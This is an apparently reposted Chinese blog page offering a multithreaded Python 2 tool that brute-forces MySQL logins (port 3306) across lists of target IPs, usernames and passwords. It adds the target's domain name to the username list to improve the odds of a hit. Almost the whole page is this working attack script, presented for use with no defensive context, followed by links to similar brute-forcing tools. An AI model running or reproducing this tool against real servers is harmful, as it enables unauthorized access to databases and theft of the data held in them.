Python MySQL批量爆破工具多线程版
来源:互联网 发布:矩阵霸主音响套装 编辑:程序博客网 时间:2024/06/05 05:54
Python MySQL批量爆破工具多线程版
转自:https://www.waitalone.cn/python-mysql-mult.html
在他的基础上,增加了如下功能:
1.支持ip批量爆破,只需同目录存在ip.txt文件;
2.如果输入的目标是域名,将域名添加到用户列表,增加爆破成功率;
3.去掉了端口和数据库的输入,默认了端口3306和数据库mysql。
#!/usr/bin/env python# -*- coding: utf-8 -*-import os, sys, re, socket, timefrom functools import partialfrom multiprocessing.dummy import Pool as ThreadPooltry:import MySQLdbexcept ImportError:print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'print '[!] http://www.codegood.com/archives/129'exit()def usage():print '+' + '-' * 50 + '+'print '\t Python MySQL批量爆破工具多线程版'print '\t\t Time:2014-11-12'print '+' + '-' * 50 + '+'if len(sys.argv) != 4:print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain或ip列表 用户名列表 密码列表"print "实例: " + os.path.basename(sys.argv[0]) + " www.alin.cn或ip.txt user.txt pass.txt"sys.exit()def mysql_brute(user, password):"mysql数据库破解函数"db = Nonetry:# print "user:", user, "password:", passworddb = MySQLdb.connect(host=host, user=user, passwd=password, db="mysql", port=3306)# print '[+] 破解成功:', user, passwordresult.append('ip:'+ host + '\t用户名:' + user + "\t密码:" + password)print '[true] ip:'+ host + '\t用户名:' + user + "\t密码:" + password+'\n'except KeyboardInterrupt:print '大爷,按您的吩咐,已成功退出程序!'exit()except MySQLdb.Error, msg:print '[false] ' + host+' '+user+':'+password+'\n'finally:if db:db.close()if __name__ == '__main__':usage()start_time = time.time()if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):with open("tmp.txt","w") as f:f.write(sys.argv[1])ips = "tmp.txt"elif re.match(r'\w+\.txt',sys.argv[1]):ips = sys.argv[1]else:with open("tmp.txt","w") as f:f.write(socket.gethostbyname(sys.argv[1]))ips = "tmp.txt"isExist = 0isExist1 = 0with open(sys.argv[2],'r') as tmp:for line in tmp.readlines():if sys.argv[1] in line:isExist = 1if isExist1 == 1:breakif re.sub(r'\.\w+$','',sys.argv[1]) in line:isExist1 = 1if isExist == 1:breakwith open(sys.argv[2],"a") as f:if isExist == 0:f.write("\n"+sys.argv[1])if isExist1 == 0:f.write("\n"+re.sub(r'\.\w+$','',sys.argv[1]))iplist = [k.rstrip() for k in open(ips)]userlist = [i.rstrip() for i in open(sys.argv[2])]passlist = [j.rstrip() for j in open(sys.argv[3])]print '\n[+] 目 标:%s \n' % sys.argv[1]print '[+] 用户名:%d 条\n' % len(userlist)print '[+] 密 码:%d 条\n' % len(passlist)print '[!] 密码破解中,请稍候……\n'result = []for host in iplist:for user in userlist:partial_user = partial(mysql_brute, user)pool = ThreadPool(10)pool.map(partial_user, passlist)pool.close()pool.join()if len(result) != 0:print '[+] 恭喜大爷,MySQL密码破解成功!\n'for x in {}.fromkeys(result).keys():print x + '\n'else:print '[-] 杯具了大爷,MySQL密码破解失败!\n'print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)
阅读全文
1 0
- Python MySQL批量爆破工具多线程版
- 【python】线程池ThreaPool-多线程mysql爆破+源码分析
- python版通用后台账号密码多线程爆破必杀器
- python多线程ssh爆破与防范
- python 写的http后台弱口令爆破工具
- Python 测试密码极速爆破工具 – cheetah
- 企业邮箱爆破小脚本(Python版)
- python ssh爆破
- python脚本网址爆破
- python MySQL 批量插入
- Python FTP暴力破解工具多线程版
- Python多线程端口扫描工具
- Oracle SID爆破工具SidGuess
- Python 数据批量插入 MySQL
- Python | MD5爆破及Base64/Base32爆破解密脚本
- python 多线程批量操作数据库测试
- 爆破。
- PHP利用CURL_MULTI实现多线程爆破
- JNDI到底是什么?
- 前端和后端交互的一些原规范问题
- 百度云虚拟主机中的网站不能加载静态js、css和images等文件的解决方案
- CSS定位
- 如何快速转载CSDN中的博客
- Python MySQL批量爆破工具多线程版
- Selenium 与 Spynner 切换frame(iframe)方法对比
- 配置/etc/keystone/keystone.conf文件报错
- Linux 常用目录管理命令(pwd、cd、ls、mkdir、du)
- Golang
- 蓝牙的基础知识/分类,以及音频LDAC/aptx™ hd
- 传统拥塞控制
- VisualStudio FAQ
- iptables